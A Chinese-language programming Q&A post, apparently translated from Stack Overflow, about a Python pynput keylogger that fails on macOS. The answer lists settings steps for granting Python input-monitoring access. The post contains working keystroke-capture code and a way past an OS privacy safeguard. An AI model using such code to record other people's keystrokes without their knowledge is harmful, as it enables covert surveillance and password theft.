适用于MacOs的Python3键盘记录程序:脚本不起作用



我正试图在MacO上使用Python3运行一个简单的键盘记录程序。下面是脚本。

import pynput
from pynput.keyboard import Key, Listener

count = 0
keys = []
def on_press(Key):
global keys, count
print("hello")
keys.append(Key)
count += 1
print(f"{Key} pressed")
if count >= 10:
count = 0
write_file(keys)
keys = []
# hello this is a test for the keylogger.
def write_file(keys):
with open("logger.txt", "a") as f:
for key in keys:
f.write(str(key))

def on_release(Key):
if Key == Key.esc:
return False


with Listener(on_press= on_press, on_release = on_release) as listener:
listener.join()

该代码显示在控制台上按下的键,并且每隔一段时间,它就会将按下的键存储在一个文件中。当我使用sudo运行脚本时,当我按下一些键时,什么都没有发生。我没有看到在控制台上按下了哪些键,文件也是空的。

我不明白问题出在哪里。我猜这与MacOs对完全访问键盘的限制有关。但我不确定。

请有人帮我做这件事。

我在一个相关问题中找到了解决方案。出于安全原因,MacOS默认情况下不允许密钥记录。所以你需要手动启用它:

  1. 设置->安全性&隐私
  2. 单击"隐私"选项卡
  3. 单击+并按住CMD+SHIFT+。(这样你就可以看到隐藏的文件/文件夹(

  4. 导航到/usr/local/bin或任何安装了Python的

  5. 单击"确定">

引用自此答案

相关内容

最新更新